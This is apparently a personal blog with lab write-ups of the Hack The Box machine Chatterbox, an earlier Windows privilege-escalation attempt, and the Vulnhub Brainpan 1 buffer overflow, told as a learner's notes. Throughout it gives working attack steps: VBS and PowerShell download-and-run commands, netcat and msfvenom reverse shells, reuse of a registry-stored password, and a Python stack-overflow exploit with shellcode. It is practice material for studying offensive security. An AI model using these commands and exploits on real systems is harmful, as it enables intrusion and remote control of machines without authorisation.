Let’s start at the top and work our way down. So firstly, task scheduler .xml. Searching on searchsploit we get a hit. The exploit however is part of metasploit and I can’t seem to find a different version on github.

Ok moving on, ClientCopyImage has a compiled .exe on github we can try!

As the machine is 64 bit, let’s try that.

We need to get the file across to the box. To do this, as powershell was a pain earlier, I’m going back to my trusty wget vba script!

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs 
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs 
echo xHttp.Open "GET", "", False >> script1.vbs 
echo xHttp.Send >> script1.vbs 
echo with bStrm >> script1.vbs 
echo .type = 1 '//binary >> script1.vbs 
echo .open >> script1.vbs 
echo .write xHttp.responseBody >> script1.vbs 
echo .savetofile "Taihou64.exe", 2 '//overwrite >> script1.vbs 
echo end with >> script1.vbs 
cscript script1.vbs

That’s now downloaded, all that’s left is to run it:


That runs for a while annnd…… it doesn’t appear to do anything!

Well that’s no good! The last exploit needs 2 CPUs, I’m not sure if this has that as it’s a VM.

Instead while I was waiting for Taihou64 to run, I remembered I have previosuly priv esced on a 2008 with an exploit called Churrasco.

The .exe is on kali under /usr/share/sqlninja/apps/churrasco.exe

Let’s get that across to the box with out wget script.

We also need to get netcat across, there is a static binary of this in /usr/share/windows-binaries/nc.exe.

Start up a listener on a new port

nc -nvlp 9111

Then run,

.\pr.exe -d "C:\Users\tolis\Links\nc.exe 9111 -e cmd.exe"

And it doesn’t have the right set up to run:

/churrasco/-->Current User: tolis 
/churrasco/-->Process is not running under NETWORK SERVICE account!
/churrasco/-->Getting NETWORK SERVICE token ...
/churrasco/-->Couldn't find NETWORK SERVICE token


Looking around a bit more, there is another potential exploit we can use, called Chimichurri. There is a compiled version on github.

Downloading that and moving it across to the box.

Let’s run that and we need to give it parameters of where a reverse shell should go to.

C:\Users\tolis\Links\win.exe 9111

And nothing happens.

That should have worked (trust me I read a walkthrough!)

Maybe someone else has already used the exploit and buggered the path? I’m not sure.

After a box reset, it still didn’t work. The exploit just hangs and doesn’t give us anything back. I looked a couple of walkthroughs, all the priv esc is kernal exploits and really I want to learn other Windows priv esc methods, so I’m going to give up on this one!

This is a flag that will go un-earned (until I come back and do it with metasploit in like 5 minutes)!


HTB – Chatterbox

Here we go, let’s do another retired box which is part of TJNull’s OSCP-like VMs!

Today will be Chatterbox. I’ve not looked at this box before, so will be a straight from scratch let’s learn as we go writeup!

*********False Start***********

First up, nmap!

nmap -sC -sV -O -oN nmap/initial  -vv

We get two open ports:

554/tcp open rtsp? syn-ack ttl 128
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
7070/tcp open realserver? syn-ack ttl 128
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X|3.X, Microsoft Windows XP|7|2012
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012

Well that isn’t exactly what I would expect. Port 554 and 7070 and not much of an idea about the OS!


I just released that I haven’t connected to the Hack The Box VPN (always do this first!), so let’s run that scan again and see if we get different results! Sorry to whoever owns that public IP address!

Let’s redo that first nmap scan!

This time, we get no results! Not a single port open! Let’s try a full port scan!

nmap -sS -p- -oN nmap/allports -vv

While that’s running, we also run a UDP scan. I always do the top 1000 first, if there is nothing in that, usually there isn’t much at all:

nmap -sU --top-ports=1000 -oN nmap/UDP

Nothing on UDP and no ports coming back on the all ports scan.

Let’s try resetting the box and starting again. Something has borked here!

********Actual Start**************

Doing a quick scan to see if we have anything open:

nmap -sS -vv

We don’t get any findings. Let’s run a full port scan again:

nmap -sV -p- -vv -T5

For some reason the scan was going to take an hour and a half. So while that ran, I tried out massscan which I haven’t used before. I tried scanning the first 10,000 ports and it found ports 554 and 7070 pretty quickly, but these aren’t HTB I don’t think, so it’s for some reason not using the VPN?

Ignoring that, I waited, and waited, and waited. For the nmap scan to finish and we got 2 results, these were different and showed:

Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-13 14:25 BST
Nmap scan report for
Host is up (0.13s latency).
Not shown: 65533 filtered ports
9255/tcp open mon
9256/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2594.76 seconds

Right, finally some results (43 minutes later!), let’s do a more detailed scan of those 2 ports:

nmap -sC -sV -O -oN nmap/detailed -p 9255,9256 -vv

So we have two chat systems. 9255 is HTTP and not sure about 9256.

Let’s go check out 9255 first.

We get absolutely nothing back from that port. It doesn’t load. netcat doesn’t return anything.

Lets part that and check 9256. Netcat again gives nothing in return

nc 9256

However, going to a browser, we get:

Still not very useful.

Trying to run gobuster to see if there is anything more, gobuster tells us that it can’t connect.

Let’s google “achat chat system” and see if we have any default directories or anything.

We get a hit, for a Remote Buffer Overflow from exploit-db.

I’m out of other ideas so let’s try that

So in the script, we need to create a payload and replace it, we also need to change the attack target.

Updating the IP address:

# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('', 9256)

The payload looks strange, it’s windows/exec for calc.exe. Not too sure what this is going to do!

Fuck it, let’s run it and see what happens.

I think that means it ran? Let’s try changing the payload the be a reverse shell.

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9010 -f c -a x86 --platform windows -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' -f python

And it couldn’t create it due to the massive list of bad characters. Maybe we can use a different encoder that will work?

I found a list of encoders and did some trial and error.

I managed to find that x86/unicode_upper worked. Why is this? No idea! I guess it can use enough characters to work around the bad characters.

It does say it’s skipping invalid encoder, but it made it anyway, so I have absolutely no idea what’s going on, but i’ll take it!

Copying that into the script and noting its 324 bytes. Luckily the script works out the length of the buffer and takes it into account, so we don’t need to change anything there.

Right, let’s get a listener up on port 9002 and run this.

Ok, less exciting than I was expecting. Nothing happened! Double checking the IP address and the port, they are all right. Maybe the service has crashed when we did it as a test first time?

Resetting the box, we then try it again.

After a reset, we still have nothing! Ok, well that’s no use!

Maybe the unicode_upper isn’t what we need. Let’s keep looking, unicode_mixed also gives us a shellcode. I also realised I had 2 -f flags in my msfvenom, so I took out the -f c. That was a copy/paste error!

Created the payload and put it into the script. Let’s try again.


Ok, let’s re-look at the script and what that has. Looking at their suggested msfvenom payload I notice it has:


We haven’t included that. Let’s add that in so our msfvenom command now looks like:

So many bad characters!

Wow this is a much longer payload at 774 bytes!

Copying that into the script, let’s try again!

Hooray, we get a reverse shell!

So it’s always important to read through the PoC and even though we are doing something different, including all the important parts! Also go through all the encoders. Just as a test, I re-ran it with the Upper encoder, and as long as I included the buffer register, it worked fine!

So although the encoder does matter to get round the amount of bad characters, the Buffer Register location is the critical part!

Now that we are in, a little look and we get the user flag!

I didn’t really like that user, I didn’t have anything to see if the service was up or down and finding the initial port was an absolute PITA!

Let’s take a look around for priv esc. Windows priv esc is my weak point, so really hoping to learn a good new skill here!

For Windows priv esc, I really like the Fuzzy Sec guide.

Straight away we find some useful information:

So, its a Windows 7 box, likely to be vulnerable to rotton potato, but i’ll save that for a last resort.

We also know there is only 1 Admin user, Administrator and we aren’t part of any groups, so hints there!

Looking through the networking and running processes, we don’t find a huge amount more information.

WMIC is installed though, so let’s take a quick look through there. Again nothing stands out.

It’s at this point, I revert to scripts, there is a great one called Powerless

To get this across we have a couple of options, either we can use powershell’s invoke-webrequest, or we can create a VBS wget script.

Let’s do the latter, host the script on a simple webserver on kali

python -m simpleHTTPServer 9001

Then on the Win7 box, go to a writable folder, I like to use the “Favorites” folder in the user area.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs
echo xHttp.Open "GET", "", False >> script1.vbs
echo xHttp.Send >> script1.vbs
echo with bStrm >> script1.vbs
echo .type = 1 '//binary >> script1.vbs
echo .open >> script1.vbs
echo .write xHttp.responseBody >> script1.vbs
echo .savetofile "Powerless.bat", 2 '//overwrite >> script1.vbs
echo end with >> script1.vbs
cscript script1.vbs

I’ve bolded the bits that need to be changed. I find it works better to copy & paste 1 line at a time rather than all of them at once.

The reason I use this, and powerless rather than something like PowerUp is because although Windows 7 does have Powershell, it’s an early version and a lot of commands don’t work and I spend more time troubleshooting that then getting anything done!

This has successfully downloaded the file, let’s run it and see what we get.

There is so much output, and I won’t copy all of it, as it would just be crazy to go through!

There are however 208 hotfixes installed. So that’s any kernal exploits likely to be patched!

We do get some priviledge information


Privilege Name Description State 
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
--- All users, accounts and groups ---

Nothing out of the normal there. SeChangeNotifyPriviledge is the one required for rottonpotato to work. So that’s worth bearing in mind.

Interesting AVAST is installed, this is a virus scanner. Do we need that on a CTF?

The Alfred user is stored in the registry, so we have that:

--- Searching Registry for Passwords ---
DefaultDomainName REG_SZ 
DefaultUserName REG_SZ Alfred
DefaultPassword REG_SZ Welcome1!

It doesn’t help us here, but in real life where password reuse is rife, this could be handy for later (also to note the crap password!)

There is a sysprep file we can look at:


Unfortuantely this runs as Alfred and has the password removed. So no luck.

That didn’t gain us much. Shall we try powerup.ps1? This might not work due to powershell issues.

Rather than re-using the wget script, let’s try powershell. To get into powershell we need to type:


This actually hangs and doesn’t open powershell. The only way out was Ctrl+C, so we have to re-do the BoF. I wish a more complex password was used and something like RDP was open (yes people would eternal blue it, but what would be the point?)

So the BoF didn’t work without reverting the box. In our script we didn’t specific the end the THREAD so the whole program crashes rather than just the thread we were using.

While I was waiting for the box to revert, I wondered if there was a way to view who owns what files, like on linux (ps -al) as my first Linux check is always who owns /etc/passwd & /etc/shadow.

There is a flag which is

dir /q <file>

This showed an interesting result:

Alfred owns the root.txt file, yet cannot read it, or move it. What can we do?

Some googling turns up not a lot.

So let’s go back to what we were doing, we were going to get PowerUp.ps1 across. Since powershell failed last time, I’m going to use my wget script again.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script2.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script2.vbs
echo xHttp.Open "GET", "", False >> script2.vbs
echo xHttp.Send >> script2.vbs
echo with bStrm >> script2.vbs
echo .type = 1 '//binary >> script2.vbs
echo .open >> script2.vbs
echo .write xHttp.responseBody >> script2.vbs
echo .savetofile "Powerup.ps1", 2 '//overwrite >> script2.vbs
echo end with >> script2.vbs
cscript script2.vbs

We can then run it using:

powershell PowerUp.ps1

This then loads in a different window as it boots up powershell and we can’t see what it’s doing.

We really need a powershell terminal! So that means, we need to do some lateral movement.

Using a nishang payload we should be able to get a powershell reverse shell.

Download the nishang payload and edit “Invoke-PowerShellTcp.ps1” at the end of the file add:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9003

This should then download and run. What I don’t know is if this will work with our vba wget script, but let’s try it!

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script3.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script3.vbs
echo xHttp.Open "GET", "", False >> script3.vbs
echo xHttp.Send >> script3.vbs
echo with bStrm >> script3.vbs
echo .type = 1 '//binary >> script3.vbs
echo .open >> script3.vbs
echo .write xHttp.responseBody >> script3.vbs
echo .savetofile "Invoke-PowerShellTcp.ps1", 2 '//overwrite >> script3.vbs
echo end with >> script3.vbs

Set up a listener

nc -nvlp 9003

Then do:

cscript script3.vbs

Annnnd, we do not get a reverse shell. Fuuuck.

Ok, let’s try and download this via powershell!

powershell IEX(New-Object Net.WebClient).downloadString('')

Aha! That time, we got it!

You’ll see the screen on the left looks to have frozen, as it’s running the reverse shell, but we have that shell on the right, so we can now hopefully run PowerUp.ps1 with the module “Invoke-AllChecks”

Import-Module .\Powerup.ps1; Invoke-AllChecks

It doesn’t seem to run.
So what i’m going to do, is add the run command to the bottom of it, and download it via powershell.

In the powerup script, we will add “Invoke-AllChecks” at the bottom of the script, so it should run as soon as it’s downloaded!

Hosting this on a webserver, we download it:

IEX(New-Object Net.WebClient).downloadString('')

It downloads, and then a blank screen. Let’s wait to see if its run and if we can see any output from this!

Nothing returned. Ok, let’s try this again manually, let’s download it without invoke all checks at the end. Using the same as above, we download it.

It isn’t there, it doesn’t save! That’s likely to be the issue! So, let’s download it with our vba script, then run it with powershell!

Now, we have powerup there!

So, how the fuck do we run this?

This is what I was talking about earlier with older/newer powershell versions, it’s just a pain. I don’t know why nothing is working to run this!

I can’t get this to run, I’ve not idea why. But let’s go back to what I said earlier when we found the password. Password reuse is a thing, could it be a thing here for Administrator?

I have a few commands that allow us to try this out, these have to be run under powershell otherwise it doesn’t work:

$username = 'Administrator'
$password = 'Welcome1!'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword

Start-Process powershell -Credential $credential -Verb "runas" -arg "IEX(New-Object Net.WebClient).downloadString('')"

What this will do, is set the password, and run the command as Administrator. The command gets another Nishang payload, with the reverse shell pointing to a different port, and if it works, we will have a powershell as admin!

So that appears to just hang, it doesn’t go to my webserver and I have absolutely no idea why, as the same thing has worked before!

I accidentally Ctrl+C’ed my terminal, so trying to re-get my original shell is proving a massive pain in the arse, but we will get there! 3 resets later and some unknown fucking reason why it won’t do anything, I watched the ippsec video to work out how he did this first part.

********Let’s start again!**********

After having a break for a day, due to frustration at failing to re-get my reverse shell. I reset the box 5 times, tried 3 different methods for shell, I was mega cross, angrily turned my computer off and stormed downstairs like a grumpy teenager. It wasn’t pretty!

Anyway, here we go again!

I re-created the payload using:

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9010 -a x86 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\[31/31$
\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

(Note the very important IP address change)

Put that into the python scrip and start the listener,

nc -nvlp 9010

We get our reverse shell back! Huzzah!

Now let’s get that up to a powershell terminal.

powershell IEX(New-Object Net.WebClient).downloadString('')

Remembering to change the IP address in the nishang payload!

We have our powershell payload excellent!

So, we have a password of Welcome1! Let’s try and use powershell to use that and get another nishang payload as root!

Using the powershell we tried last time but with a subtle tweak

$username = 'Administrator' 

$password = 'Welcome1!' 

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
Start-Process -FilePath "powershell" -Credential $credential -argumentlist "IEX(New-Object Net.WebClient).downloadString('')"

Yesss, we get a hit on our fileserver!

But we do not get a reverse shell! Bummer!

Ah that is because I didn’t change the IP address in the nishang payload, blast!

Let’s try again! Very strangely, the powershell is now just hanging and won’t do anything. It’s almost as if in the background there is a powershell running that we can’t see that is stalling it all.

After a couple of goes, I realised it was something about how I was copying out of the terminal. If I copied from here, it worked straight first time!

It calls back, our nishang shell comes home and boom, we are root!

So I got super cross, and lost loads of time when my payload wouldn’t execute after I killed the sessions by accident. I’m not sure why this was, it might have been a typo in my code I was copying, it could have been other things. But for that reason, I hate this box!

Anyway, that is root. However, there is a much more interesting way then invoking powershell as another user.

Back in our low level cmd line access!

Remember earlier we saw that the root flag was owned by Alfred?

C:\Users\Administrator\Desktop>dir /q root.txt
dir /q root.txt
Volume in drive C has no label.
Volume Serial Number is 9034-6528

Directory of C:\Users\Administrator\Desktop

12/10/2017 07:50 PM 32 CHATTERBOX\Alfred root.txt
1 File(s) 32 bytes
0 Dir(s) 18,114,719,744 bytes free

Well can we do anything with that? After some reading and a tutorial, we can!

There is a tool called icacls. This lets us look at permissions for files and folders. So let’s look at the Desktop

C:\Users\Administrator>icacls Desktop
icacls Desktop

Successfully processed 1 files; Failed processing 0 files

So I had a look at the help and got the permission definintions:

 (OI) - object inherit
(CI) - container inherit
(IO) - inherit only
(NP) - don't propagate inherit
(I) - permission inherited from parent container

Right, so Alfred has the same permissions as Administrator. We also have full access to root.txt

C:\Users\Administrator\Desktop>icacls root.txt
icacls root.txt
root.txt CHATTERBOX\Administrator:(F)

Successfully processed 1 files; Failed processing 0 files

So what can we do with that, well we can grant ourselves read access.

C:\Users\Administrator\Desktop>icacls root.txt /grant Alfred:F
icacls root.txt /grant Alfred:F
processed file: root.txt
Successfully processed 1 files; Failed processing 0 files

This then lets us read the file:

That is super useful and definitely a trick i’ll keep up my sleeve!

So there we have it! 2 ways to root the box. I’m sure there are more method to get a shell using the remote overflow, but this will do for me!

Onto the next one!



Well, it’s been pretty quiet round here, I had 30 days of OSCP labs. One thing I learnt from there that i’d never done before was Buffer overflows.

So, as it’s not something I’ve done or written up before, let’s take a look at Brainpan from Vulnhub. This will be Brainpan 1 found here: https://www.vulnhub.com/entry/brainpan-1,51/

This is a “simple” buffer overflow! The first time I did this box, I got absolutly thrown, as I was running the executable on my Windows 10 machine. Each fuzzing attempt showed a different crash point, after a few frustrating ours, I learnt that this was due to ASLR built into Win10. So, if you are going to try this box and want to do it in a Windows environemnt (with Immunity debugger) which is what we will do, get a Windows XP or Windows 7 VM.

First up, we download the OVA file and boot it up in VMWare.

Well, it’s basic! Ok, let’s find what IP this box has been given!

The box is natted, so it will share the same subnet as my win XP vm and kali VM as well my windows 10 host.

Looking at my kali box, we do a:

ip a

Seeing the network adapaters we have:

Looks like it will have a 192.168.116.XX ip address. Let’s do a pingsweep and see what we get:

nmap -sP

I have a few hosts on and I can narrow it down to

Doing a full portscan on that host, hopefully we get something interesting!

nmap -p- -vv

We have 2 open ports. Let’s do a scripts scan on them to see what we have open

Scanning just the two ports:

nmap -sC -sV -p 9999,10000

We get some more information:


Well it’s certainly the right box! Port 10000 is a webserver, lets’s check that out.

Hmm, ok! Just a static page, nothing to see there. Let’s run a gobuster and see if we can find anything more:

Almost immediately we get a hit:

/bin (Status: 301)

Looking there, we have a directory listing.


Let’s download the executable. Looking at strings, we get a lot of the process, and an oddity:

Lot’s of A’s which is odd, but “shitstorm” stands out. Could be a password?

Let’s try it using nc to connect to the port:

nc 9999

Cool, access granted. Does nothing. However, let’s be honest, this is just the foreplay. We picked this box as it’s a buffer overflow. Let’s stop messing about and get into it!

Let’s boot up Windows XP and take a few moments to remember how great XP was, well one bit particularly:

1,268,750 not a bad score nowhere near my best though!

Anyway, back on task. We will need a bugger, the OSCP and therefore I use Immunity this will also install python which is useful for later.

On the Windows XP machine, let’s visit the brainpan site:

Download the exe. Double click to start it and open Immunity. We now need to attach the process. In Immunity “File -> Attach” and we get a list of all running processes:

Click on brainpan and click “Attach”

We can now see all the code for the brainpan app. There is a lot to take in on this screen, but basically.

The program commands are the CPU instructions so jump forward, move, return etc. As each command is run it goes back to here to see what the next instruction is.

The pointers (registers might be a better word) are the addresses in the dump and stack that the next instruction will use.

The dump is the hex value of the entire program, this is what the program contains and will do

The Stack is the memory locations for each command.

It is pretty confusing but it does make sense. If you’ve not come across any of these before, i’d recommend doing some googling and watching some videos to fully understand.

So when we attach the program in Immunity it “pauses” the program, so the first thing we need to do is click the play button:

Once running it should look like the above, with the blue text in the registers and the EIP stating “ntdll.kifastsystemcallret”
If not, click the back arrow (2 left of the play button) and click play again.

Now that the program is running, we need to see if we can crash it by sending it so much data that we overwrite the pointers. If we can do that, we can work out where the registers are held in memory and send just the right amount of information to then be able to overwrite them. If we can overwrite them we control what the program does. If we control what the program does, we can put in some shellcode and get a reverse shell.

That’s how stack overflows work in a nutshell.

So first up, we need to try and crash it. Googling we find a few different scripts for stack buffer overflows, however I’m going to use and modify the one from the OSCP.

To crash this program, we don’t need to do anything clever like send a username and password, just the data to port 9999.

So in our Windows XP machine, we create a file called fuzzer.py

Then we can use the program called IDLE that was installed with Python. It has colouring and looks quite nice.

Our finish script is:

I have also chucked it on my github.

When we run this, it shows how much data it is throwing at the program and the program that is running tells us of the crash:

Looking in the Immunity debugger, we see a few interesting things.

We have overwritten the pointers and overwritten the stacks with all the A’s!

Most importantly, we have overwritten the EIP and ESP. We can use the EIP to point the program to our shellcode which we will store in the ESP.

I run the fuzzer a couple more times, just to check that it crashes on 1500 bytes each time. If the crash isn’t consitent we can’t replicate the crash and do the overflow. When doing this originally on my Windows10 box, the crash point moved and went from 1,500 up to 500,000 over a few runs. This threw me for hours and shows how ASLR works, for this, we don’t need to worry about that.

So we can crash the program, what’s next? Well instead of fuzzing it each time, can we replicate the crash by just using 1,500 bytes each time?

Let’s create a new script called brainpan.py

This script is more straightforward and is on my github.

Before we run this script, we need to reset the program, so it’s not in it’s crashed state. In Immunity click the double back arrows (or Ctrl+F2) to reset the program, then click play(or F9).

Then run the script!

Running this does crash the brainpan.exe in the same way. This is great.

So next, we need to work out where the EIP so we can control it!

There is a msf module which allows the creation of a unique string to the length you need.

Heading over to our kali box, we create a unique payload which is 1500 characters. The tool is held in /usr/share/metasploit-framework/tools/exploit

The command we use is:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1500

This creates the payload

We put this into the script where the payload was.

Reset the program (Ctrl + F2, F9)

Run the script.

This time we can see that the crash contains the different characters:

So the EIP isn’t 41414141 (to represent the A’s) anymore, its now 35724134. What does that mean, well there is another tool called pattern_offset which tells you the offset for these characters, allowing us to know exactly where the EIP is in the stack.

Heading back to our kali box, we run:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 -l 1500

This tells us the offset of those characters:

[*] Exact match at offset 524

What this means, is that there are 524 characters before the EIP. So if we send 524 A’s. Then the EIP is 4 bytes so 4 B’s. Then a bunch of C’s, we can see if we have control of the EIP.

For that we need to tweak our script again.

payload = "A"*524 + "B"*4 + "C"*900

Our payload shouldn’t be more than 900 bytes, so that is just an arbitrary number I’ve chosen.

Restart the brainpan program and run the script again.

Ok, there we have it!

So you can see that the EDX contains all the A’s.

The EIP is then 4242424242 which is great as 42 is the hex value of B.

We can also see that the ESP contains the C’s.

This really has working in our favour!

So, the next thing we need to do, is work out ideally what we want the program to do.

Ideally, we want to put our shellcode where the C’s are (by the ESP pointer), we need to find out if this has enough space. Right click on the ESP pointer and choose “follow in dump”

The dump will then jump to where this is. If we are lucky we will see line after line of C’s. If we only see like 4 C’s, we won’t have enough space our payload.

Luckily for us, that is a whole bunch of C’s. Each line is 8 and we have 59 lines. That’s 472 bytes which should be plenty for our payload!


So, what we need to do next is check for bad characters. So bad characters are characters that the program can’t deal with. If we have a payload with a character that breaks the program in an unexpected way, our payload won’t run.

To do that, we need a list of all the characters in hex format. A quick google brings back a list, we put that into the script:

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"

We then need to set the payload to have 528 A’s then the bad characters

payload = "A"*524 + "B"*4 + badchars

Restart the program in Immunity and rerun the script.

If we jump to the ESP in the stack, we can see it’s all nonsense. Not the characters we were expecting:

The hex values don’t seem to tie up with the list of characters, so that means the first hex value x00 must be a bad character. (x00 is a null byte, so most programs don’t process them correctly.

Remove that from the list of bad characters. Restart the program and re-run script.

This time we can see that all the hex values are  there, starting at 01 and ending at FF.

This means there are no other bad characters, this is good news!

Keep a note of the bad character as we will need that later when creating our payload.

We now need to work out how to move the program to the shellcode we will put in the ESP register. To do that we need to find if the program is running any sort of ASLR or other mechanism to fuck us over.

To do this we need the mona module for Immunity. Download it and get it installed, it’s very straightforward. 

What we need first is the modules option. In the bar at the bottom of Immunity type in

!mona modules

This will bring us a list of all modules. We are looking for anything that has False across the board!

We can see that brainpan.exe is false across the board. This is good news, so we can use that.

So within the brainpan program, we need to find a “JMP ESP” command.

Again, we can use mona for this. However first each command has a unique code, we can either google this, or use the nasm_shell module from metasploit. We can run the module and enter the command we want.

nasm > jmp esp
00000000 FFE4 jmp esp

So we are looking for a bit of the program with the code FFE4 and is within brainpan.exe.

Luckily mona can help us out again, it allows searching, we need to search using the hex values so “\x” preceding each hex value.

!mona find -s "\xff\xe4" -m brainpan.exe

Running it found 1 pointer.

So we have a pointer at “311712f3”. Double clicking on that line takes us back to our normal screen with the code. We can see that it is a JMP ESP command.

Great, so what we can do, is overwrite the EIP with this location, which will make the program jump to the ESP area in the dump where we have put our shellcode.

Let’s get that into our script. However, the address needs to be written in reverse (but with the hex value in the same order), so instead of:


we will have


It will also need the hex stuffs round it so will be


Why is this? I have no idea! Feel free to leave a comment or hit me up on twitter if you can ELI5!

Adding this into our script we now have something like this:

import socket

EIP = "\xF3\x12\x17\x31"

print "Sending the overflow"
payload = "A"*524 + EIP + "C"*472
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Let’s check that this works as expected.

Restart the program, then we want to set a breakpoint at our JMP ESP. To set a breakpoint its F2. When the breakpoint is set it will be bright blue.

Run the script.

So we can see that the EIP points to 311712F3 and the ESP is full of C’s. Looking in the stack, we can see we are at the top of the C’s.

This is great news. We just need our payload!

Msfvenom is the best way to create the payload. As it’s a windows box, we can use the windows/shell_reverse_tcp as it’s an unstaged payload so we can pick it up with netcat.

When creating the shellcode, we need to put in the bad characters using the -b flag. In this case the only bad character was x00. As many as needed can be added.

We are still doing everything on our local WindowsXP machine, so the Lhost will be We will have to recreate this for our kali instance when attacking the actual brainpan box. The reason we are doing it locally first, is to keep it as simple as possible. If we did it straight to our kali box, there could be networking issues resulting in our reverse shell or the payload was wrong, or a number of other things. So to keep it as simple as possible we have the least amount of variables.

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9988 EXITFUNC=thread -f c -b "\x00"

Running that in our kali box, we get the shell code.

We also see that the payload length if 351 bytes. This is important as we need to add the C’s after the payload to fill up the stack.

Adding it into our script we get:

import socket

EIP = "\xF3\x12\x17\x31"
shellcode = ("\xd9\xeb\xd9\x74\x24\xf4\xbb\x85\x9d\x42\x65\x5a\x31\xc9\xb1"
"\x05\xe2\x55\xe5\x26\x27" )

print "Sending the overflow"
payload = "A"*524 + EIP + shellcode + "C"* (472 - 351)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Now we need to get netcat onto the windows XP box. There is a static nc binary on kali in /usr/share/windows-binaries.
Host that folder with a python simple webserver

python -m SimpleHTTPServer 9001

Visit that in the browser and download onto the XP box.

Get netcat running:

nc.exe -nvlp 9988

Restart the program in Immunity and run the script.

Hmm, it crashed but we didn’t get a reverse shell. Bollocks.

In overflows there are a thing called “nops”, these are effectively nothing bytes which don’t do anything just move onto the next byte. So by adding a few of those we create what is known as a “nopsled”. What this does is gives a bit of a runup to the shellcode, so the code isn’t being executed “too quickly”.

Let’s add some to the script. The code for these is “\x90”. Our payload now looks like:

payload = "A"*524 + EIP + "\x90" * 8 + shellcode + "C"* (472 - 351 - 8)

Restart the program and run it again, we can see at the breakpoint of our JMP ESP that the stack has the nopsled in:

The 90’s are there.

So continue the program (F9) and it doesn’t work.

What the heck! Looking at the stack, the nopsled is there. Not sure what’s going on.

Let’s increase the nopsled and see if that makes any difference.

Increasing the nopsled to 16 made it work. Doing some trail and error the minimum number of nops we needed was 10. I have absolutly no idea why 8 wasn’t enough. If anyone can explain, please let me know!

Moving on, we have a working script. We can overflow the program and point it back to us for a reverse shell. So let’s do this at the brainpan machine.

We need to change a couple of things, firstly we need a reverse shell code with our kali IP, so recreating the shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9988 EXITFUNC=thread -f c -b "\x00"

Put the resulting code into the script, note if the length has changed at all and update that.

We also need to change the s.connect IP address to the brainpan box.

Set up a listener, and run the script!

Yes!! We have a reverse shell on the brainpan box!

Buffer overflow complete!

Brainpan does have some priv esc, which surprised me and I haven’t done previously (it took me many hours last time and I finished the BoF at 1am, so stopped there) let’s adventure together to try priv esc!

So we are in a windows environment, the box is Ubuntu (I noticed when it booted up), so we are running in some sort of wine environment. I guess we have to break out of this.

Trying basic escapes like /bin/bash or os.system all fail. I can’t access python so can’t do the python -c import etc etc.

Moving up the tree confirms we are in a linux environment:

Moving into the bin directory and trying a bash reverse shell we get an error:

It must be a wine environment, so let’s search for some common breakouts.

Trying all the common breakouts I could find, I couldn’t get a breakout.

What if we change our shellcode to be linux?

msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=9988 -f c -b "\x00"

Again, check the size (wow linux is a smaller payload) and add it into the script, changing the size of the C’s if needed.

Run the script:

We now have a linux shell, and I have upgraded it to a bash shell using:

python -c 'import pty;pty.spawn("/bin/bash")'

The first thing I always check these days, is sudo.

sudo -l

